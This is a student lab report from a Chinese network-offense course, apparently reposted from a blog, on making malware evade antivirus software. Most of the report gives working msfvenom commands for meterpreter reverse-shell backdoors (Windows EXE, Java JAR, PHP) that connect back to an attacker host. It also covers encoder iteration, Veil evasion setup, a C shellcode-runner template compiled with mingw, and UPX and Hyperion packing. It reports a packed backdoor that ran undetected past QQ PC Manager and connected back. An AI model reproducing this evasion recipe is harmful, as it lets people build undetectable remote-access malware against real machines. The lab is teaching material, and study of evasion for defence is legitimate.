zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175222 罗雨石《网络对抗技术》Exp3 免杀原理与实践

    基础问题

    1.杀软是如何检测出恶意代码的?

    • 基于特征码:如果一个可执行文件(或其他运行的库、脚本等)包含有类似恶意代码的一段或多段数据则被杀软认为是恶意代码。

    • 启发式恶意软件检测:如果一个软件做一些恶意软件通常干的典型例子,就把它当成一个恶意软件。

    • 基于行为的恶意软件检测:在启发式基础上对软件行为进行监控

    2.免杀是做什么?

    • 对恶意软件做一些处理,使它不被杀毒软件所检测出来

    3.免杀的基本方法有哪些?

    • 改变特征码
      • 只有EXE:加壳
      • 有shellcode:利用shellcode生成可执行文件
      • 有源代码:用其他语言进行重写再编译
    • 改变行为:改变通讯方式或操作模式
    • 利用现有playload手工打造一个后门程序

    4.开启杀软能绝对防止电脑中恶意代码吗?

    • 开启杀软不能绝对防止电脑中恶意代码,但可以防止绝大部分的低级的恶意代码。恶意代码技术日新月异,没有一款杀软可以保证说自己能绝对防止电脑中恶意代码。杀软只能记录到某个进程执行操作的异常情况,更新病毒库。

    实践一:方法

    1. 正确使用msf编码器

    • 使用msfvenom -l encoders查看可以使用的编码器来生成不同的后门.

    • 将实验二中用msf命令生成的后门程序放到 VirusTotal 中扫描结果如下

      可以知道后门程序如果不加处理,绝大多数杀软很快就可以识别出来。

    • 使用msf编码器对后门程序进行一次到多次的编码,并进行检测。

      • 一次编码:

        msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.28.129 LPORT=5222 -f exe > 20175222-encoded.exe

        -e选择编码器,-b 是 payload 中需要清除的字符,该命令中为了使 x00' 不出现在 shellcode 中。

        VirusTotal 中扫描结果如下:

      • 十次编码:

        msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.28.129 LPORT=5222 -f exe > encoded10.exe

        使用 -i 设置迭代次数。

        VirusTotal 中扫描结果如下:

    • 结论:

      对比发现多次编码对于免杀没有太大的帮助 并没有实质变化,因为msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。

    2. msfvenom生成如jar之类的其他文件

    (1) msfvenom生成jar文件

    生成java后门程序:

    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.28.129 LPORT=5222 x>  dwt_backdoor_java.jar

    VirusTotal 中扫描结果如下:

    (2) msfvenom生成php文件

    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.28.129 lport=5222 x> dwt_backdoor.php

    VirusTotal 中扫描结果如下:

    3. veil

    • veil 安装过程遇到很多麻烦,通过云班课讨论区同学们的热心解答,最终解决。

    • 输入veil ,进入 veil 操作页面。

    • 输入use evasion命令进入veil-evasion
    • 输入use c/meterpreter/rev_tcp.py进入配置界面
    • 设置反弹连接地址和端口

      • set LHOST 192.168.28.129(此处为KaliIP)
      • set LPORT 5222
      • options 查看选项。

    • 输出保存

      • 输入 generate 生成文件
      • 接着输入你想要payload的名字:veil_c_5222
      • 可以看到文件保存路径:/var/lib/veil/output/source/veil_c_5222.exe

    • 对生成的veil_c_5222.exe后门文件,VirusTotal 中扫描结果如下:

    4. 使用C + shellcode编程

    • 使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.28.129 LPORT=5222 -f c 生成一段 shellcode 。

    • 创建一个文件20175222.c,然后如下代码写入该文件中:

      unsigned char buf[] =
      "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
      ........
      "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
      
      int main()
      {
              int (*func)() = (int(*)())buf;
              func();
      }
    • 使用mingw-w32将c语言文件生成exe文件

      i686-w64-mingw32-g++ 20175222.c -o 20175222.exe

    • 对生成的 20175223_exp3_sc.exe 后门文件,VirusTotal 中扫描结果如下:

    • 当想要使用windows上执行该程序时,被电脑的联想电脑管家隔离。

    5.加壳工具

    压缩壳 upx:

    • 尝试对上面的shellcode加壳:upx 20175222.exe -o dwt_upxed.exe

    • 对生成的 dwt_upxed.exe 后门文件,VirusTotal 中扫描结果如下:

    加密壳 Hyperion:

    • 进行加壳,将加壳的文件复制到 /usr/share/windows-resources/hyperion/ 中

    • 进入该目录。

    • 输入命令wine hyperion.exe -v dwt_upxed.exe dwt_upxed_Hyperion.exe

    • 对生成的 dwt_upxed_Hyperion.exe后门文件,VirusTotal 中扫描结果如下:

    6. 使用其他课堂未介绍方法

    • 输入veil ,进入 veil 操作页面。

    • 输入use evasion命令进入veil-evasion

    • 选择 go/meterpreter/rev_tcp.py 。进入配置界面

    • 设置反弹连接地址和端口

      • set LHOST 192.168.28.129(此处为KaliIP)
      • set LPORT 5222
      • options 查看选项。
    • 输出保存

      • 输入 generate 生成文件
      • 接着输入你想要payload的名字:veil_go_5222
      • 可以看到文件保存路径:/var/lib/veil/output/compiled/veil_go_5222.exe
    • 对生成的veil_go_5222.exe后门文件,VirusTotal 中扫描结果如下:

    实践二:通过组合应用各种技术实现恶意代码免杀

    方式:

    • 使用 C语言调用shellcode+压缩壳 方式免杀成功并可以回连 。

    解析:

    • 使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.28.129 LPORT=5222 -f c 生成一段 shellcode 写入一 C 文件。
    • 使用mingw-w32将c语言文件生成exe文件i686-w64-mingw32-g++ 20175222.c -o 20175222.exe
    • 对其加壳:upx 20175222.exe -o dwt_upxed.exe

    • qq电脑管家快速扫描 没有扫描出来。

    实践三:另一电脑实测

    用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本 。

    环境:

    • 杀软名称:qq电脑管家 2.0.6.27
    • 电脑版本:Windows 7 64位

    方式:

    • 使用 C语言调用shellcode+压缩壳 方式免杀成功并可以回连 。

              

    实践总结与体会

    这次实验进步比较大,虽然还是照着同学的博客模仿,不过能够自己亲手生成免杀的后门程序,感觉学习到了一个新的阶段。

    整个过程相对来说都比较顺利,安装veil的时候卡了很久,想了很多办法,最后听同学建议,通过手动添加安装压缩包解决了。

    没注意到提交时间,以为是星期天截止,只能补交了,望老师见谅。

  • 相关阅读:
    mybatis(八)手写简易版mybatis
    mybaits(七)spring整合mybaits
    Java学习之String StringBuffer StringBuilder区别
    Java学习之基本概念
    java多态
    HashMap变成线程安全方法
    java高级开发工程师面试题
    同步和异步
    Oracle创建索引的原则(转)
    导入maven工程错误
  • 原文地址:https://www.cnblogs.com/cn171-101/p/12636824.html
Copyright © 2011-2022 走看看